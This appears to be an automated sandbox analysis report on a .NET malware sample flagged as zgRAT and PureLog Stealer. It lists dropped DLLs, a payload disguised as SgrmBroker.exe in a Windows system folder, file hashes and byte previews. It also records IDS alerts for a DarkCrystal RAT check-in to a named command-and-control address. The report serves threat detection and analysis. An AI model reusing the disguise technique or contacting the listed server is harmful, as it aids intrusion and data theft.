SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lQurfKCd.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\nWChmqEK.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\oKGqYEAI.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\qDMpIHRR.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\rBoyeGgL.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\rmOGvfrE.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\sKUgPnTy.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\tyYoAAPw.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xtRXGmlA.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ylqndxek.log

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zmgFsjXy.log

Download File

Process:	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\91e168f4ec1147

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with very long lines (378), with no line terminators
Category:	dropped
Size (bytes):	378
Entropy (8bit):	5.8519095288415475
Encrypted:	false
SSDEEP:	6:820Q2JFCHRkzkwv0CBQ6nTWTjJ4NtDkOepzrlxruVmzUSAbvdHufQyNAI:8x0H2vN5nyHpz5xt3AhHMQPI
MD5:	621F2881FDE60E49119D93C5F41B7B21
SHA1:	5BEBB25D23D962FC3A881EF2738A628630B69A73
SHA-256:	4CEC48C8EB6F04D38A7BC678828F3FDF0B9122497393876C01807286469A1206
SHA-512:	B51C90895B448EB11F8F4944C88A550E3B7C80CA1AAD9BDEBDE58235CD272770CA283113C5BC6D7E7B293BB8959431CBE6D2A52DC0035F056DCCC58744B4B2F7
Malicious:	false
Preview:	I8BrCtmSEMvYOu6lPrth41FmnlnuqHvfcq27xD3wZtu2wbUdPJkuGDcQ3YEaG1m7aQ6i29yLx7HKHM0LRJfggBYZNlEY9dphHxbffwlQUY6I5SJqi2J7WFaZ2gUQ5aMTSjCTuUqfhOMHEPd5cXzHUsLCWCn8cUV3Mn0WPz5OLnZI2SVmDYyhlF9jYA7sqrDN2S5bYHpmbk5qTCJDrB5DgxSHnQ7P2NiekMPjX4N6tLGAKSQV13Bpw9qEAyxHJauNCbGGwjqwx9TVrS7UAmX8L3skfLjjGFwTa27tMJiSNO1wpUXr1cHhCwCJsfll9GqrMA5yUOI0DFv7B54Lx1so8PQo0xAri7SGiKkpZiWmURe6AFIxkZyHYCt7uQ

C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	26710528
Entropy (8bit):	1.3786054531846224
Encrypted:	false
SSDEEP:	98304:vS4Lhcl+62txet6kccrV00zSO76bgkVB:vS4yA62txY1cc0XOubtVB
MD5:	B9C8DEE5E0470B21D27B1A70AFE25495
SHA1:	955AEBC905591BE2C45FB95AC689374552455B58
SHA-256:	04069D6DC8C9B79D04E96C9CD2950A374ABE0C2604110C27227F60A851DA123D
SHA-512:	995EA49BDCBA082927264E6DCA3AC5D45AD8E152A3C9D71B9F63881E10537F866B5F45E1634AF5BC1C44FB36FB0EC48B1A0ECE866E1F58D14C2DCC46A0C88CF7
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Bg.................0..........I0.. ...`0...@.. ........................0...........@..................................I0.K....`0. .....................0...................................................... ............... ..H............text....)0.. ...0................. ..`.rsrc... ....`0......,0.............@....reloc........0......00.............@..B.................I0.....H.......`...................'i%..I0......................................0..........(.... ........8........E........9...)...8...8....(.... ....~....{p...:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0..<....... ........8........E....................\.......P...8....~....(E... .... .... ....s....~....(I....... ....~....{....:....& ....8....r...ps....z...... ....~....{....:i...& ....8^...8.... ....~....{....:E...& ....8:...~....9.... ....8&.......~...

C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\SgrmBroker.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\6G8OR42xrB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.621947447102293
Encrypted:	false
SSDEEP:	12:Pf95pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:ndUOAokItULVDv
MD5:	CD4FA91B9F53B4670423769821280C40
SHA1:	59AAF3D89894B1F977A425A8A9C1E79463B5FE77
SHA-256:	2A1C4378967FBB0560D3AFBA6B8ACE8339F2F28997276A97AB4BA7173BB9644D
SHA-512:	AA787094D7DDD5663B7BD63691E1A3032241E775D51FC16752A0185D75B22AFEA103A5EC0A09C8F6323193989174C044FF05D772C83003F7A078E8F54A66540C
Malicious:	false
Preview:	..Pinging 093954 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	1.3786054531846224
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	6G8OR42xrB.exe
File size:	26'710'528 bytes
MD5:	b9c8dee5e0470b21d27b1a70afe25495
SHA1:	955aebc905591be2c45fb95ac689374552455b58
SHA256:	04069d6dc8c9b79d04e96c9cd2950a374abe0c2604110c27227f60a851da123d
SHA512:	995ea49bdcba082927264e6dca3ac5d45ad8e152a3c9d71b9f63881e10537f866b5f45e1634af5bc1c44fb36fb0ec48b1a0ece866e1f58d14c2dcc46a0c88cf7
SSDEEP:	98304:vS4Lhcl+62txet6kccrV00zSO76bgkVB:vS4yA62txY1cc0XOubtVB
TLSH:	C647E01AB2924F33C37417324697023E8291D7653992EF1F3A1F2197A84B7F18A725B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Bg.................*0..........I0.. ...`0...@.. ........................0...........@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x7049ee
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6742D31F [Sun Nov 24 07:17:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3049a0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x306000	0x320	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x308000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3029f4	0x302a00	832077ccb2b3437572506d5aa2fda070	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x306000	0x320	0x400	f63dc44cdac0c40afaac3537ddfe2bda	False	0.3515625	data	2.6493052442009577	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x308000	0xc	0x200	09825251b50d3c13d5dc822a76bcdd58	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x306058	0x2c8	data			0.46207865168539325

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-21T11:07:31.040709+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49734	172.67.186.200	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 11:07:29.788388014 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:29.909137964 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:29.909329891 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:29.910341024 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:30.029974937 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:30.260318041 CET	49734	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:30.379981995 CET	80	49734	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:30.995126009 CET	80	49734	172.67.186.200	192.168.2.4
